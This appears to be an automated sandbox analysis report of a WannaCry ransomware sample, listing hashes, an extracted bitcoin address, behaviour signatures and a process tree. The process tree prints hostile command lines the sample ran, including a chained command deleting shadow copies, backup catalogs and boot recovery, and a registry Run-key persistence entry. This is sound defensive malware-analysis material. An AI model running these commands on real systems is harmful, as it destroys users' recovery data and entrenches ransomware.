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210303-eg4g1z4wd2 10Analysis
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max time kernel
146s -
max time network
123s -
platform
windows7_x64 -
resource
win7 -
submitted
08/07/2020, 15:28
Static task
static1
Behavioral task
behavioral1
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7
Behavioral task
behavioral2
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10v200430
General
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Target
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
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Size
3.4MB
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MD5
84c82835a5d21bbcf75a61706d8ab549
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SHA1
5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
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SHA256
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
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SHA512
90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Signatures
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Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 1084 @[email protected] 820 @[email protected] 1084 @[email protected] 820 @[email protected] 808 @[email protected] 808 @[email protected] 1852 @[email protected] 1980 @[email protected] 1988 @[email protected] -
Modifies service 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Suspicious use of WriteProcessMemory 104 IoCs
description pid Process procid_target PID 112 wrote to memory of 1616 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 24 PID 112 wrote to memory of 1616 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 24 PID 112 wrote to memory of 1616 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 24 PID 112 wrote to memory of 1616 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 24 PID 112 wrote to memory of 780 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 112 wrote to memory of 780 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 112 wrote to memory of 780 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 112 wrote to memory of 780 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 112 wrote to memory of 1880 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 112 wrote to memory of 1880 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 112 wrote to memory of 1880 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 112 wrote to memory of 1880 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 112 wrote to memory of 1912 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 29 PID 112 wrote to memory of 1912 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 29 PID 112 wrote to memory of 1912 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 29 PID 112 wrote to memory of 1912 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 29 PID 1912 wrote to memory of 1792 1912 cmd.exe 31 PID 1912 wrote to memory of 1792 1912 cmd.exe 31 PID 1912 wrote to memory of 1792 1912 cmd.exe 31 PID 1912 wrote to memory of 1792 1912 cmd.exe 31 PID 112 wrote to memory of 1084 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 112 wrote to memory of 1084 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 112 wrote to memory of 1084 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 112 wrote to memory of 1084 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 112 wrote to memory of 528 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 112 wrote to memory of 528 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 112 wrote to memory of 528 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 112 wrote to memory of 528 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 528 wrote to memory of 820 528 cmd.exe 36 PID 528 wrote to memory of 820 528 cmd.exe 36 PID 528 wrote to memory of 820 528 cmd.exe 36 PID 528 wrote to memory of 820 528 cmd.exe 36 PID 1084 wrote to memory of 652 1084 @[email protected] 38 PID 1084 wrote to memory of 652 1084 @[email protected] 38 PID 1084 wrote to memory of 652 1084 @[email protected] 38 PID 1084 wrote to memory of 652 1084 @[email protected] 38 PID 820 wrote to memory of 1268 820 @[email protected] 40 PID 820 wrote to memory of 1268 820 @[email protected] 40 PID 820 wrote to memory of 1268 820 @[email protected] 40 PID 820 wrote to memory of 1268 820 @[email protected] 40 PID 1268 wrote to memory of 1904 1268 cmd.exe 42 PID 1268 wrote to memory of 1904 1268 cmd.exe 42 PID 1268 wrote to memory of 1904 1268 cmd.exe 42 PID 1268 wrote to memory of 1904 1268 cmd.exe 42 PID 1268 wrote to memory of 1656 1268 cmd.exe 44 PID 1268 wrote to memory of 1656 1268 cmd.exe 44 PID 1268 wrote to memory of 1656 1268 cmd.exe 44 PID 1268 wrote to memory of 1656 1268 cmd.exe 44 PID 112 wrote to memory of 2012 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 46 PID 112 wrote to memory of 2012 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 46 PID 112 wrote to memory of 2012 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 46 PID 112 wrote to memory of 2012 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 46 PID 112 wrote to memory of 2004 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 47 PID 112 wrote to memory of 2004 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 47 PID 112 wrote to memory of 2004 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 47 PID 112 wrote to memory of 2004 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 47 PID 112 wrote to memory of 808 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 48 PID 112 wrote to memory of 808 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 48 PID 112 wrote to memory of 808 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 48 PID 112 wrote to memory of 808 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 48 PID 112 wrote to memory of 1592 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 49 PID 112 wrote to memory of 1592 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 49 PID 112 wrote to memory of 1592 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 49 PID 112 wrote to memory of 1592 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 49 PID 1592 wrote to memory of 2028 1592 cmd.exe 51 PID 1592 wrote to memory of 2028 1592 cmd.exe 51 PID 1592 wrote to memory of 2028 1592 cmd.exe 51 PID 1592 wrote to memory of 2028 1592 cmd.exe 51 PID 112 wrote to memory of 1840 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 54 PID 112 wrote to memory of 1840 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 54 PID 112 wrote to memory of 1840 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 54 PID 112 wrote to memory of 1840 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 54 PID 112 wrote to memory of 1056 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 55 PID 112 wrote to memory of 1056 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 55 PID 112 wrote to memory of 1056 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 55 PID 112 wrote to memory of 1056 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 55 PID 112 wrote to memory of 1852 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 56 PID 112 wrote to memory of 1852 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 56 PID 112 wrote to memory of 1852 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 56 PID 112 wrote to memory of 1852 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 56 PID 112 wrote to memory of 1308 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 57 PID 112 wrote to memory of 1308 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 57 PID 112 wrote to memory of 1308 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 57 PID 112 wrote to memory of 1308 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 57 PID 112 wrote to memory of 972 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 58 PID 112 wrote to memory of 972 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 58 PID 112 wrote to memory of 972 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 58 PID 112 wrote to memory of 972 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 58 PID 112 wrote to memory of 1980 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 59 PID 112 wrote to memory of 1980 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 59 PID 112 wrote to memory of 1980 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 59 PID 112 wrote to memory of 1980 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 59 PID 112 wrote to memory of 1572 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 60 PID 112 wrote to memory of 1572 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 60 PID 112 wrote to memory of 1572 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 60 PID 112 wrote to memory of 1572 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 60 PID 112 wrote to memory of 1504 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 61 PID 112 wrote to memory of 1504 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 61 PID 112 wrote to memory of 1504 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 61 PID 112 wrote to memory of 1504 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 61 PID 112 wrote to memory of 1988 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 62 PID 112 wrote to memory of 1988 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 62 PID 112 wrote to memory of 1988 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 62 PID 112 wrote to memory of 1988 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 62 -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1904 vssadmin.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1616 attrib.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 780 icacls.exe -
Executes dropped EXE 16 IoCs
pid Process 1880 taskdl.exe 1084 @[email protected] 820 @[email protected] 652 taskhsvc.exe 2012 taskdl.exe 2004 taskse.exe 808 @[email protected] 1840 taskdl.exe 1056 taskse.exe 1852 @[email protected] 1308 taskdl.exe 972 taskse.exe 1980 @[email protected] 1572 taskdl.exe 1504 taskse.exe 1988 @[email protected] -
Suspicious use of AdjustPrivilegeToken 51 IoCs
description pid Process Token: SeBackupPrivilege 1928 vssvc.exe Token: SeRestorePrivilege 1928 vssvc.exe Token: SeAuditPrivilege 1928 vssvc.exe Token: SeIncreaseQuotaPrivilege 1656 WMIC.exe Token: SeSecurityPrivilege 1656 WMIC.exe Token: SeTakeOwnershipPrivilege 1656 WMIC.exe Token: SeLoadDriverPrivilege 1656 WMIC.exe Token: SeSystemProfilePrivilege 1656 WMIC.exe Token: SeSystemtimePrivilege 1656 WMIC.exe Token: SeProfSingleProcessPrivilege 1656 WMIC.exe Token: SeIncBasePriorityPrivilege 1656 WMIC.exe Token: SeCreatePagefilePrivilege 1656 WMIC.exe Token: SeBackupPrivilege 1656 WMIC.exe Token: SeRestorePrivilege 1656 WMIC.exe Token: SeShutdownPrivilege 1656 WMIC.exe Token: SeDebugPrivilege 1656 WMIC.exe Token: SeSystemEnvironmentPrivilege 1656 WMIC.exe Token: SeRemoteShutdownPrivilege 1656 WMIC.exe Token: SeUndockPrivilege 1656 WMIC.exe Token: SeManageVolumePrivilege 1656 WMIC.exe Token: 33 1656 WMIC.exe Token: 34 1656 WMIC.exe Token: 35 1656 WMIC.exe Token: SeIncreaseQuotaPrivilege 1656 WMIC.exe Token: SeSecurityPrivilege 1656 WMIC.exe Token: SeTakeOwnershipPrivilege 1656 WMIC.exe Token: SeLoadDriverPrivilege 1656 WMIC.exe Token: SeSystemProfilePrivilege 1656 WMIC.exe Token: SeSystemtimePrivilege 1656 WMIC.exe Token: SeProfSingleProcessPrivilege 1656 WMIC.exe Token: SeIncBasePriorityPrivilege 1656 WMIC.exe Token: SeCreatePagefilePrivilege 1656 WMIC.exe Token: SeBackupPrivilege 1656 WMIC.exe Token: SeRestorePrivilege 1656 WMIC.exe Token: SeShutdownPrivilege 1656 WMIC.exe Token: SeDebugPrivilege 1656 WMIC.exe Token: SeSystemEnvironmentPrivilege 1656 WMIC.exe Token: SeRemoteShutdownPrivilege 1656 WMIC.exe Token: SeUndockPrivilege 1656 WMIC.exe Token: SeManageVolumePrivilege 1656 WMIC.exe Token: 33 1656 WMIC.exe Token: 34 1656 WMIC.exe Token: 35 1656 WMIC.exe Token: SeTcbPrivilege 2004 taskse.exe Token: SeTcbPrivilege 2004 taskse.exe Token: SeTcbPrivilege 1056 taskse.exe Token: SeTcbPrivilege 1056 taskse.exe Token: SeTcbPrivilege 972 taskse.exe Token: SeTcbPrivilege 972 taskse.exe Token: SeTcbPrivilege 1504 taskse.exe Token: SeTcbPrivilege 1504 taskse.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies registry key 1 TTPs 1 IoCs
pid Process 2028 reg.exe -
Loads dropped DLL 39 IoCs
pid Process 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1792 cscript.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 528 cmd.exe 528 cmd.exe 1084 @[email protected] 1084 @[email protected] 652 taskhsvc.exe 652 taskhsvc.exe 652 taskhsvc.exe 652 taskhsvc.exe 652 taskhsvc.exe 652 taskhsvc.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 652 taskhsvc.exe 652 taskhsvc.exe 652 taskhsvc.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" @[email protected] -
Wannacry
WannaCry is a ransomware cryptoworm.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD241B.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD243E.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Adds Run entry to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\pzkqrqnhucon571 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" reg.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"1⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Sets desktop wallpaper using registry
- Drops startup file
PID:112 -
C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
PID:1616
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C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:780
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1880
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C:\Windows\SysWOW64\cmd.execmd /c 88211594222137.bat2⤵
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵
- Loads dropped DLL
PID:1792
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C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Loads dropped DLL
PID:1084 -
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:652
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C:\Windows\SysWOW64\cmd.execmd.exe /c start /b @[email protected] vs2⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
PID:528 -
C:\Users\Admin\AppData\Local\Temp\@[email protected]3⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:820 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
- Suspicious use of WriteProcessMemory
PID:1268 -
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
PID:1904
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1656
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:2012
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2004
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C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Sets desktop wallpaper using registry
PID:808
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C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pzkqrqnhucon571" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵PID:1592
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C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pzkqrqnhucon571" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Modifies registry key
- Adds Run entry to start application
PID:2028
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1840
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1056
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1852
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1308
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:972
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1980
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1572
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1504
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1988
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1928